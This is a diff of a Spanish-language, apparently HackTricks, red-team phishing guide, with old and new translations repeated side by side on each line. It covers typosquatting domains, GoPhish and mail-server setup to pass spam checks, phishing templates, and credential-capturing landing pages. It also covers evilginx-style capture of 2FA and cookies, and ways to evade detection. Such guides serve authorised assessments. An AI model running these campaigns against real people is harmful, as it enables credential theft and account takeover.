* **Subdominio con guion**: Cambiar el **punto por un guion** de un subdominio (por ejemplo, www-zelster.com). * **Subdominio con guion**: Cambiar el **punto por un guion** de un subdominio (por ejemplo, www-zelster.com).
* **Nuevo TLD**: Mismo dominio usando un **nuevo TLD** (por ejemplo, zelster.org) * **Nuevo TLD**: Mismo dominio usando un **nuevo TLD** (por ejemplo, zelster.org).
* **Homóglifo**: Se **reemplaza** una letra en el nombre de dominio con **letras que se ven similares** (por ejemplo, zelfser.com). * **Homoglyph**: **Reemplaza** una letra en el nombre de dominio con **letras que se ven similares** (por ejemplo, zelfser.com).
* **Transposición:** Se **intercambian dos letras** dentro del nombre de dominio (por ejemplo, zelsetr.com). * **Transposición:** **Intercambia dos letras** dentro del nombre de dominio (por ejemplo, zelsetr.com).
* **Singularización/Pluralización**: Agrega o elimina la "s" al final del nombre de dominio (por ejemplo, zeltsers.com). * **Singularización/Pluralización**: Agrega o quita “s” al final del nombre de dominio (por ejemplo, zeltsers.com).
* **Omisión**: Se **elimina una** de las letras del nombre de dominio (por ejemplo, zelser.com). * **Omisión**: **Elimina una** de las letras del nombre de dominio (por ejemplo, zelser.com).
* **Repetición:** Se **repite una** de las letras en el nombre de dominio (por ejemplo, zeltsser.com). * **Repetición:** **Repite una** de las letras en el nombre de dominio (por ejemplo, zeltsser.com).
* **Reemplazo**: Como homóglifo pero menos sigiloso. Se reemplaza una de las letras en el nombre de dominio, tal vez con una letra en proximidad de la letra original en el teclado (por ejemplo, zektser.com). * **Reemplazo**: Como homoglyph pero menos sigiloso. Reemplaza una de las letras en el nombre de dominio, quizás con una letra cercana a la letra original en el teclado (por ejemplo, zektser.com).
* **Subdominado**: Introducir un **punto** dentro del nombre de dominio (por ejemplo, ze.lster.com). * **Subdominado**: Introducir un **punto** dentro del nombre de dominio (por ejemplo, ze.lster.com).
* **Inserción**: Se **inserta una letra** en el nombre de dominio (por ejemplo, zerltser.com). * **Inserción**: **Inserta una letra** en el nombre de dominio (por ejemplo, zerltser.com).
* **Punto faltante**: Agregar el TLD al nombre de dominio. (por ejemplo, zelstercom.com) * **Punto faltante**: Agregar el TLD al nombre de dominio. (por ejemplo, zelstercom.com)
**Herramientas Automáticas** **Herramientas Automáticas**
@ -51,7 +52,7 @@ Otras formas de apoyar a HackTricks:
* [**dnstwist**](https://github.com/elceef/dnstwist) * [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
**Sitios web** **Sitios Web**
* [https://dnstwist.it/](https://dnstwist.it) * [https://dnstwist.it/](https://dnstwist.it)
* [https://dnstwister.report/](https://dnstwister.report) * [https://dnstwister.report/](https://dnstwister.report)
@ -59,20 +60,20 @@ Otras formas de apoyar a HackTricks:
### Bitflipping ### Bitflipping
Existe la **posibilidad de que uno de algunos bits almacenados o en comunicación se invierta automáticamente** debido a varios factores como llamaradas solares, rayos cósmicos o errores de hardware. Hay una **posibilidad de que uno de algunos bits almacenados o en comunicación pueda ser automáticamente invertido** debido a varios factores como llamaradas solares, rayos cósmicos o errores de hardware.
Cuando este concepto se **aplica a las solicitudes DNS**, es posible que el **dominio recibido por el servidor DNS** no sea el mismo que el dominio solicitado inicialmente. Cuando este concepto se **aplica a las solicitudes DNS**, es posible que el **dominio recibido por el servidor DNS** no sea el mismo que el dominio solicitado inicialmente.
Por ejemplo, una modificación de un solo bit en el dominio "windows.com" puede cambiarlo a "windnws.com." Por ejemplo, una modificación de un solo bit en el dominio "windows.com" puede cambiarlo a "windnws.com."
Los atacantes pueden **aprovechar esto registrando múltiples dominios con bit-flipping** que sean similares al dominio de la víctima. Su intención es redirigir a los usuarios legítimos a su propia infraestructura. Los atacantes pueden **aprovechar esto registrando múltiples dominios de bit-flipping** que son similares al dominio de la víctima. Su intención es redirigir a los usuarios legítimos a su propia infraestructura.
Para obtener más información, lee [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) Para más información, lee [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Comprar un dominio de confianza ### Comprar un dominio de confianza
Puedes buscar en [https://www.expireddomains.net/](https://www.expireddomains.net) un dominio caducado que podrías utilizar.\ Puedes buscar en [https://www.expireddomains.net/](https://www.expireddomains.net) un dominio expirado que podrías usar.\
Para asegurarte de que el dominio caducado que vas a comprar **ya tiene un buen SEO** puedes buscar cómo está categorizado en: Para asegurarte de que el dominio expirado que vas a comprar **ya tiene un buen SEO**, podrías buscar cómo está categorizado en:
* [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) * [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
* [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) * [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
@ -85,17 +86,17 @@ Para asegurarte de que el dominio caducado que vas a comprar **ya tiene un buen
* [https://hunter.io/](https://hunter.io) * [https://hunter.io/](https://hunter.io)
* [https://anymailfinder.com/](https://anymailfinder.com) * [https://anymailfinder.com/](https://anymailfinder.com)
Para **descubrir más** direcciones de correo electrónico válidas o **verificar las que** ya has descubierto, puedes verificar si puedes hacer fuerza bruta en los servidores smtp de la víctima. [Aprende cómo verificar/descubrir direcciones de correo electrónico aquí](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\ Para **descubrir más** direcciones de correo electrónico válidas o **verificar las que ya has descubierto**, puedes comprobar si puedes forzar por fuerza bruta los servidores smtp de la víctima. [Aprende cómo verificar/descubrir direcciones de correo electrónico aquí](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
Además, no olvides que si los usuarios utilizan **cualquier portal web para acceder a sus correos electrónicos**, puedes verificar si es vulnerable a **fuerza bruta de nombres de usuario**, y explotar la vulnerabilidad si es posible. Además, no olvides que si los usuarios utilizan **cualquier portal web para acceder a sus correos**, puedes comprobar si es vulnerable a **fuerza bruta de nombre de usuario**, y explotar la vulnerabilidad si es posible.
## Configurando GoPhish ## Configurando GoPhish
### Instalación ### Instalación
Puedes descargarlo desde [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) Puedes descargarlo de [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Descárgalo y descomprímelo dentro de `/opt/gophish` y ejecuta `/opt/gophish/gophish`\ Descarga y descomprime dentro de `/opt/gophish` y ejecuta `/opt/gophish/gophish`\
Se te dará una contraseña para el usuario administrador en el puerto 3333 en la salida. Por lo tanto, accede a ese puerto y utiliza esas credenciales para cambiar la contraseña del administrador. Es posible que necesites tunelizar ese puerto a local: Se te dará una contraseña para el usuario administrador en el puerto 3333 en la salida. Por lo tanto, accede a ese puerto y usa esas credenciales para cambiar la contraseña del administrador. Puede que necesites tunelizar ese puerto a local:
```bash ```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip> ssh -L 3333:127.0.0.1:3333 <user>@<ip>
``` ```
@ -103,7 +104,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**Configuración del certificado TLS** **Configuración del certificado TLS**
Antes de este paso, debes haber **comprado el dominio** que vas a utilizar y este debe estar **apuntando** a la **IP del VPS** donde estás configurando **gophish**. Antes de este paso, deberías haber **comprado ya el dominio** que vas a usar y debe estar **apuntando** a la **IP del VPS** donde estás configurando **gophish**.
```bash ```bash
DOMAIN="<domain>" DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto wget https://dl.eff.org/certbot-auto
@ -121,22 +122,22 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
``` ```
**Configuración del correo** **Configuración del correo**
Comience instalando: `apt-get install postfix` Comienza instalando: `apt-get install postfix`
Luego agregue el dominio a los siguientes archivos: Luego agrega el dominio a los siguientes archivos:
* **/etc/postfix/virtual\_domains** * **/etc/postfix/virtual\_domains**
* **/etc/postfix/transport** * **/etc/postfix/transport**
* **/etc/postfix/virtual\_regexp** * **/etc/postfix/virtual\_regexp**
**Cambie también los valores de las siguientes variables dentro de /etc/postfix/main.cf** **Cambia también los valores de las siguientes variables dentro de /etc/postfix/main.cf**
`myhostname = <dominio>`\ `myhostname = <domain>`\
`mydestination = $myhostname, <dominio>, localhost.com, localhost` `mydestination = $myhostname, <domain>, localhost.com, localhost`
Finalmente modifique los archivos **`/etc/hostname`** y **`/etc/mailname`** con el nombre de su dominio y **reinicie su VPS.** Finalmente, modifica los archivos **`/etc/hostname`** y **`/etc/mailname`** a tu nombre de dominio y **reinicia tu VPS.**
Ahora, cree un **registro A de DNS** de `mail.<dominio>` apuntando a la **dirección IP** del VPS y un registro **DNS MX** apuntando a `mail.<dominio>` Ahora, crea un **registro A de DNS** de `mail.<domain>` apuntando a la **dirección IP** del VPS y un **registro MX de DNS** apuntando a `mail.<domain>`
Ahora probemos enviar un correo electrónico: Ahora probemos enviar un correo electrónico:
```bash ```bash
@ -145,8 +146,8 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
``` ```
**Configuración de Gophish** **Configuración de Gophish**
Detén la ejecución de gophish y vamos a configurarlo.\ Detén la ejecución de gophish y configuremoslo.\
Modifica `/opt/gophish/config.json` al siguiente (nota el uso de https): Modifica `/opt/gophish/config.json` a lo siguiente (nota el uso de https):
```bash ```bash
{ {
"admin_server": { "admin_server": {
@ -171,9 +172,9 @@ Modifica `/opt/gophish/config.json` al siguiente (nota el uso de https):
} }
} }
``` ```
**Configurar el servicio de gophish** **Configurar el servicio gophish**
Para crear el servicio de gophish para que se inicie automáticamente y se pueda gestionar como un servicio, puedes crear el archivo `/etc/init.d/gophish` con el siguiente contenido: Para crear el servicio gophish de modo que se inicie automáticamente y se gestione como un servicio, puedes crear el archivo `/etc/init.d/gophish` con el siguiente contenido:
```bash ```bash
#!/bin/bash #!/bin/bash
# /etc/init.d/gophish # /etc/init.d/gophish
@ -220,7 +221,7 @@ case $1 in
start|stop|status) "$1" ;; start|stop|status) "$1" ;;
esac esac
``` ```
Termina de configurar el servicio y verifica que funcione haciendo: Finaliza la configuración del servicio y verifica que funcione:
```bash ```bash
mkdir /var/log/gophish mkdir /var/log/gophish
chmod +x /etc/init.d/gophish chmod +x /etc/init.d/gophish
@ -231,23 +232,23 @@ service gophish status
ss -l | grep "3333\|443" ss -l | grep "3333\|443"
service gophish stop service gophish stop
``` ```
## Configuración del servidor de correo y dominio ## Configurando el servidor de correo y el dominio
### Espera y sé legítimo ### Espera y sé legítimo
Cuanto más antiguo sea un dominio, menos probable es que sea detectado como spam. Por lo tanto, debes esperar tanto tiempo como sea posible (al menos 1 semana) antes de la evaluación de phishing. Además, si colocas una página sobre un sector reputacional, la reputación obtenida será mejor. Cuanto más antiguo sea un dominio, menos probable es que sea atrapado como spam. Por lo tanto, debes esperar el mayor tiempo posible (al menos 1 semana) antes de la evaluación de phishing. Además, si pones una página sobre un sector reputacional, la reputación obtenida será mejor.
Ten en cuenta que aunque tengas que esperar una semana, puedes terminar de configurarlo todo ahora. Ten en cuenta que, incluso si tienes que esperar una semana, puedes terminar de configurar todo ahora.
### Configurar el registro de DNS inverso (rDNS) ### Configurar el registro de DNS inverso (rDNS)
Establece un registro rDNS (PTR) que resuelva la dirección IP del VPS al nombre de dominio. Configura un registro rDNS (PTR) que resuelva la dirección IP del VPS al nombre de dominio.
### Registro del Marco de Políticas del Remitente (SPF) ### Registro de Sender Policy Framework (SPF)
Debes **configurar un registro SPF para el nuevo dominio**. Si no sabes qué es un registro SPF, [**lee esta página**](../../network-services-pentesting/pentesting-smtp/#spf). Debes **configurar un registro SPF para el nuevo dominio**. Si no sabes qué es un registro SPF [**lee esta página**](../../network-services-pentesting/pentesting-smtp/#spf).
Puedes usar [https://www.spfwizard.net/](https://www.spfwizard.net) para generar tu política SPF (utiliza la IP de la máquina VPS) Puedes usar [https://www.spfwizard.net/](https://www.spfwizard.net) para generar tu política SPF (usa la IP de la máquina VPS)
![](<../../.gitbook/assets/image (1037).png>) ![](<../../.gitbook/assets/image (1037).png>)
@ -255,19 +256,19 @@ Este es el contenido que debe establecerse dentro de un registro TXT dentro del
```bash ```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all v=spf1 mx a ip4:ip.ip.ip.ip ?all
``` ```
### Registro de Autenticación, Informes y Conformidad de Mensajes basado en Dominios (DMARC) ### Registro de Autenticación, Informe y Conformidad de Mensajes Basado en Dominio (DMARC)
Debes **configurar un registro DMARC para el nuevo dominio**. Si no sabes qué es un registro DMARC, [**lee esta página**](../../network-services-pentesting/pentesting-smtp/#dmarc). Debes **configurar un registro DMARC para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/#dmarc).
Debes crear un nuevo registro DNS TXT apuntando al nombre de host `_dmarc.<dominio>` con el siguiente contenido: Tienes que crear un nuevo registro DNS TXT apuntando al nombre de host `_dmarc.<domain>` con el siguiente contenido:
```bash ```bash
v=DMARC1; p=none v=DMARC1; p=none
``` ```
### DomainKeys Identified Mail (DKIM) ### DomainKeys Identified Mail (DKIM)
Debes **configurar un DKIM para el nuevo dominio**. Si no sabes qué es un registro DMARC, [**lee esta página**](../../network-services-pentesting/pentesting-smtp/#dkim). Debes **configurar un DKIM para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/#dkim).
Este tutorial está basado en: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) Este tutorial se basa en: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
{% hint style="info" %} {% hint style="info" %}
Necesitas concatenar ambos valores B64 que genera la clave DKIM: Necesitas concatenar ambos valores B64 que genera la clave DKIM:
@ -278,13 +279,13 @@ v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqP
### Prueba tu puntuación de configuración de correo electrónico ### Prueba tu puntuación de configuración de correo electrónico
Puedes hacerlo utilizando [https://www.mail-tester.com/](https://www.mail-tester.com)\ Puedes hacerlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\
Simplemente accede a la página y envía un correo electrónico a la dirección que te proporcionan: Simplemente accede a la página y envía un correo electrónico a la dirección que te proporcionen:
```bash ```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
``` ```
También puedes **verificar la configuración de tu correo electrónico** enviando un correo electrónico a `check-auth@verifier.port25.com` y **leyendo la respuesta** (para esto necesitarás **abrir** el puerto **25** y ver la respuesta en el archivo _/var/mail/root_ si envías el correo como root).\ Puedes también **verificar tu configuración de correo** enviando un correo a `check-auth@verifier.port25.com` y **leyendo la respuesta** (para esto necesitarás **abrir** el puerto **25** y ver la respuesta en el archivo _/var/mail/root_ si envías el correo como root).\
Verifica que pasas todas las pruebas: Verifica que pases todas las pruebas:
```bash ```bash
========================================================== ==========================================================
Summary of Results Summary of Results
@ -295,40 +296,40 @@ DKIM check: pass
Sender-ID check: pass Sender-ID check: pass
SpamAssassin check: ham SpamAssassin check: ham
``` ```
También puedes enviar **un mensaje a un Gmail bajo tu control** y verificar los **encabezados del correo electrónico** en tu bandeja de entrada de Gmail, `dkim=pass` debería estar presente en el campo de encabezado `Authentication-Results`. También podrías enviar **un mensaje a un Gmail bajo tu control** y verificar los **encabezados del correo electrónico** en tu bandeja de entrada de Gmail, `dkim=pass` debería estar presente en el campo de encabezado `Authentication-Results`.
``` ```
Authentication-Results: mx.google.com; Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com; dkim=pass header.i=@example.com;
``` ```
### Eliminación de la lista negra de Spamhouse ### Eliminación de la lista negra de Spamhouse
La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si tu dominio está siendo bloqueado por Spamhouse. Puedes solicitar que tu dominio/IP sea eliminado en: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si tu dominio está siendo bloqueado por spamhouse. Puedes solicitar la eliminación de tu dominio/IP en: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Eliminación de la lista negra de Microsoft ### Eliminación de la lista negra de Microsoft
Puedes solicitar que tu dominio/IP sea eliminado en [https://sender.office.com/](https://sender.office.com). Puedes solicitar la eliminación de tu dominio/IP en [https://sender.office.com/](https://sender.office.com).
## Crear y Lanzar una Campaña de Phishing con GoPhish ## Crear y lanzar campaña GoPhish
### Perfil de Envío ### Perfil de envío
* Establece un **nombre para identificar** el perfil del remitente * Establece un **nombre para identificar** el perfil del remitente
* Decide desde qué cuenta vas a enviar los correos de phishing. Sugerencias: _noreply, support, servicedesk, salesforce..._ * Decide desde qué cuenta vas a enviar los correos electrónicos de phishing. Sugerencias: _noreply, support, servicedesk, salesforce..._
* Puedes dejar en blanco el nombre de usuario y la contraseña, pero asegúrate de marcar la opción de Ignorar Errores de Certificado * Puedes dejar en blanco el nombre de usuario y la contraseña, pero asegúrate de marcar la opción Ignorar Errores de Certificado
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) ![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
{% hint style="info" %} {% hint style="info" %}
Se recomienda utilizar la funcionalidad de "**Enviar Correo de Prueba**" para verificar que todo funcione correctamente.\ Se recomienda utilizar la funcionalidad "**Enviar correo de prueba**" para comprobar que todo está funcionando.\
Recomendaría **enviar los correos de prueba a direcciones de correo de 10 minutos** para evitar ser incluido en listas negras al hacer pruebas. Recomendaría **enviar los correos de prueba a direcciones de 10min** para evitar ser incluido en la lista negra al realizar pruebas.
{% endhint %} {% endhint %}
### Plantilla de Correo Electrónico ### Plantilla de correo electrónico
* Establece un **nombre para identificar** la plantilla * Establece un **nombre para identificar** la plantilla
* Luego escribe un **asunto** (nada extraño, solo algo que esperarías leer en un correo electrónico regular) * Luego escribe un **asunto** (nada extraño, solo algo que podrías esperar leer en un correo electrónico regular)
* Asegúrate de marcar "**Agregar Imagen de Seguimiento**" * Asegúrate de haber marcado "**Agregar imagen de seguimiento**"
* Escribe la **plantilla de correo electrónico** (puedes usar variables como en el siguiente ejemplo): * Escribe la **plantilla de correo electrónico** (puedes usar variables como en el siguiente ejemplo):
```markup ```markup
<html> <html>
@ -348,16 +349,16 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body> </body>
</html> </html>
``` ```
Ten en cuenta que **para aumentar la credibilidad del correo electrónico**, se recomienda usar alguna firma de un correo electrónico del cliente. Sugerencias: Note that **para aumentar la credibilidad del correo electrónico**, se recomienda usar alguna firma de un correo del cliente. Sugerencias:
* Enviar un correo electrónico a una **dirección inexistente** y verificar si la respuesta tiene alguna firma. * Enviar un correo a una **dirección no existente** y verificar si la respuesta tiene alguna firma.
* Buscar **correos electrónicos públicos** como info@ejemplo.com o prensa@ejemplo.com o publico@ejemplo.com y enviarles un correo electrónico y esperar la respuesta. * Buscar **correos públicos** como info@ex.com o press@ex.com o public@ex.com y enviarles un correo y esperar la respuesta.
* Intentar contactar un **correo electrónico válido descubierto** y esperar la respuesta * Intentar contactar **algún correo válido descubierto** y esperar la respuesta.
![](<../../.gitbook/assets/image (80).png>) ![](<../../.gitbook/assets/image (80).png>)
{% hint style="info" %} {% hint style="info" %}
La Plantilla de Correo Electrónico también permite **adjuntar archivos para enviar**. Si también deseas robar desafíos NTLM usando archivos/documentos especialmente creados, [lee esta página](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). La plantilla de correo también permite **adjuntar archivos para enviar**. Si también deseas robar desafíos NTLM usando algunos archivos/documentos especialmente diseñados [lee esta página](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
{% endhint %} {% endhint %}
### Página de Aterrizaje ### Página de Aterrizaje
@ -370,34 +371,34 @@ La Plantilla de Correo Electrónico también permite **adjuntar archivos para en
![](<../../.gitbook/assets/image (826).png>) ![](<../../.gitbook/assets/image (826).png>)
{% hint style="info" %} {% hint style="info" %}
Por lo general, necesitarás modificar el código HTML de la página y realizar algunas pruebas localmente (quizás usando un servidor Apache) **hasta que te gusten los resultados**. Luego, escribe ese código HTML en el cuadro.\ Por lo general, necesitarás modificar el código HTML de la página y hacer algunas pruebas en local (quizás usando algún servidor Apache) **hasta que te gusten los resultados.** Luego, escribe ese código HTML en el cuadro.\
Ten en cuenta que si necesitas **utilizar algunos recursos estáticos** para el HTML (quizás algunas páginas CSS y JS) puedes guardarlos en _**/opt/gophish/static/endpoint**_ y luego acceder a ellos desde _**/static/\<nombre_archivo>**_ Ten en cuenta que si necesitas **usar algunos recursos estáticos** para el HTML (quizás algunas páginas CSS y JS) puedes guardarlos en _**/opt/gophish/static/endpoint**_ y luego acceder a ellos desde _**/static/\<filename>**_
{% endhint %} {% endhint %}
{% hint style="info" %} {% hint style="info" %}
Para la redirección podrías **redirigir a los usuarios a la página web principal legítima** de la víctima, o redirigirlos a _/static/migration.html_ por ejemplo, poner una **rueda giratoria (**[**https://loading.io/**](https://loading.io)**) durante 5 segundos y luego indicar que el proceso fue exitoso**. Para la redirección podrías **redirigir a los usuarios a la página web principal legítima** de la víctima, o redirigirlos a _/static/migration.html_ por ejemplo, poner alguna **rueda giratoria (**[**https://loading.io/**](https://loading.io)**) durante 5 segundos y luego indicar que el proceso fue exitoso**.
{% endhint %} {% endhint %}
### Usuarios y Grupos ### Usuarios y Grupos
* Establece un nombre * Establecer un nombre
* **Importa los datos** (ten en cuenta que para usar la plantilla de ejemplo necesitas el nombre, apellido y dirección de correo electrónico de cada usuario) * **Importar los datos** (ten en cuenta que para usar la plantilla del ejemplo necesitas el nombre, apellido y dirección de correo electrónico de cada usuario)
![](<../../.gitbook/assets/image (163).png>) ![](<../../.gitbook/assets/image (163).png>)
### Campaña ### Campaña
Finalmente, crea una campaña seleccionando un nombre, la plantilla de correo electrónico, la página de aterrizaje, la URL, el perfil de envío y el grupo. Ten en cuenta que la URL será el enlace enviado a las víctimas Finalmente, crea una campaña seleccionando un nombre, la plantilla de correo, la página de aterrizaje, la URL, el perfil de envío y el grupo. Ten en cuenta que la URL será el enlace enviado a las víctimas.
Ten en cuenta que el **Perfil de Envío permite enviar un correo electrónico de prueba para ver cómo se verá el correo electrónico de phishing final**: Ten en cuenta que el **Perfil de Envío permite enviar un correo de prueba para ver cómo se verá el correo de phishing final**:
![](<../../.gitbook/assets/image (192).png>) ![](<../../.gitbook/assets/image (192).png>)
{% hint style="info" %} {% hint style="info" %}
Recomendaría **enviar los correos de prueba a direcciones de correo de 10 minutos** para evitar ser incluido en listas negras al hacer pruebas. Recomendaría **enviar los correos de prueba a direcciones de 10min** para evitar ser bloqueado al hacer pruebas.
{% endhint %} {% endhint %}
¡Una vez que todo esté listo, simplemente lanza la campaña! Una vez que todo esté listo, ¡simplemente lanza la campaña!
## Clonación de Sitios Web ## Clonación de Sitios Web
@ -407,10 +408,10 @@ Si por alguna razón deseas clonar el sitio web, consulta la siguiente página:
[clone-a-website.md](clone-a-website.md) [clone-a-website.md](clone-a-website.md)
{% endcontent-ref %} {% endcontent-ref %}
## Documentos y Archivos con Puertas Traseras ## Documentos y Archivos con Puerta Trasera
En algunas evaluaciones de phishing (principalmente para Equipos Rojos) también querrás **enviar archivos que contengan algún tipo de puerta trasera** (quizás un C2 o simplemente algo que active una autenticación).\ En algunas evaluaciones de phishing (principalmente para Red Teams) también querrás **enviar archivos que contengan algún tipo de puerta trasera** (quizás un C2 o tal vez solo algo que active una autenticación).\
Consulta la siguiente página para ver algunos ejemplos: Consulta la siguiente página para algunos ejemplos:
{% content-ref url="phishing-documents.md" %} {% content-ref url="phishing-documents.md" %}
[phishing-documents.md](phishing-documents.md) [phishing-documents.md](phishing-documents.md)
@ -420,36 +421,36 @@ Consulta la siguiente página para ver algunos ejemplos:
### A través de Proxy MitM ### A través de Proxy MitM
El ataque anterior es bastante ingenioso, ya que estás falsificando un sitio web real y recopilando la información establecida por el usuario. Desafortunadamente, si el usuario no ingresó la contraseña correcta o si la aplicación que falsificaste está configurada con 2FA, **esta información no te permitirá suplantar al usuario engañado**. El ataque anterior es bastante ingenioso ya que estás falsificando un sitio web real y recopilando la información proporcionada por el usuario. Desafortunadamente, si el usuario no ingresó la contraseña correcta o si la aplicación que falsificaste está configurada con 2FA, **esta información no te permitirá suplantar al usuario engañado**.
Aquí es donde herramientas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) y [**muraena**](https://github.com/muraenateam/muraena) son útiles. Esta herramienta te permitirá generar un ataque tipo MitM. Básicamente, los ataques funcionan de la siguiente manera: Aquí es donde herramientas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) y [**muraena**](https://github.com/muraenateam/muraena) son útiles. Esta herramienta te permitirá generar un ataque tipo MitM. Básicamente, los ataques funcionan de la siguiente manera:
1. **Suplantas el formulario de inicio de sesión** de la página web real. 1. **Suplantas el formulario de inicio de sesión** de la página web real.
2. El usuario **envía** sus **credenciales** a tu página falsa y la herramienta las envía a la página real, **verificando si las credenciales funcionan**. 2. El usuario **envía** sus **credenciales** a tu página falsa y la herramienta envía esas credenciales a la página web real, **verificando si las credenciales funcionan**.
3. Si la cuenta está configurada con **2FA**, la página MitM solicitará esto y una vez que el **usuario lo introduzca**, la herramienta lo enviará a la página web real. 3. Si la cuenta está configurada con **2FA**, la página MitM lo pedirá y una vez que el **usuario lo introduzca**, la herramienta lo enviará a la página web real.
4. Una vez que el usuario esté autenticado, tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza un MitM. 4. Una vez que el usuario esté autenticado, tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza un MitM.
### A través de VNC ### A través de VNC
¿Qué tal si en lugar de **enviar a la víctima a una página maliciosa** con el mismo aspecto que la original, la envías a una **sesión VNC con un navegador conectado al sitio web real**? Podrás ver lo que hace, robar la contraseña, el MFA utilizado, las cookies...\ ¿Qué pasaría si en lugar de **enviar a la víctima a una página maliciosa** con el mismo aspecto que la original, lo envías a una **sesión VNC con un navegador conectado a la página web real**? Podrás ver lo que hace, robar la contraseña, el MFA utilizado, las cookies...\
Puedes hacer esto con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) Puedes hacer esto con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Detectando la Detección ## Detectando la detección
Obviamente, una de las mejores formas de saber si te han descubierto es **buscar tu dominio en listas negras**. Si aparece listado, de alguna manera detectaron tu dominio como sospechoso.\ Obviamente, una de las mejores maneras de saber si te han descubierto es **buscar tu dominio en listas negras**. Si aparece listado, de alguna manera tu dominio fue detectado como sospechoso.\
Una forma sencilla de verificar si tu dominio aparece en alguna lista negra es usar [https://malwareworld.com/](https://malwareworld.com) Una forma fácil de verificar si tu dominio aparece en alguna lista negra es usar [https://malwareworld.com/](https://malwareworld.com)
Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad de phishing sospechosa en la red** como se explica en: Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividades de phishing sospechosas en la red** como se explica en:
{% content-ref url="detecting-phising.md" %} {% content-ref url="detecting-phising.md" %}
[detecting-phising.md](detecting-phising.md) [detecting-phising.md](detecting-phising.md)
{% endcontent-ref %} {% endcontent-ref %}
Puedes **comprar un dominio con un nombre muy similar** al del dominio de la víctima y/o generar un certificado para un **subdominio** de un dominio controlado por ti **que contenga** la **palabra clave** del dominio de la víctima. Si la **víctima** realiza algún tipo de **interacción DNS o HTTP** con ellos, sabrás que **está buscando activamente** dominios sospechosos y deberás ser muy sigiloso. Puedes **comprar un dominio con un nombre muy similar** al dominio de la víctima **y/o generar un certificado** para un **subdominio** de un dominio controlado por ti **que contenga** la **palabra clave** del dominio de la víctima. Si la **víctima** realiza algún tipo de **interacción DNS o HTTP** con ellos, sabrás que **está buscando activamente** dominios sospechosos y necesitarás ser muy sigiloso.
### Evaluar el Phishing ### Evaluar el phishing
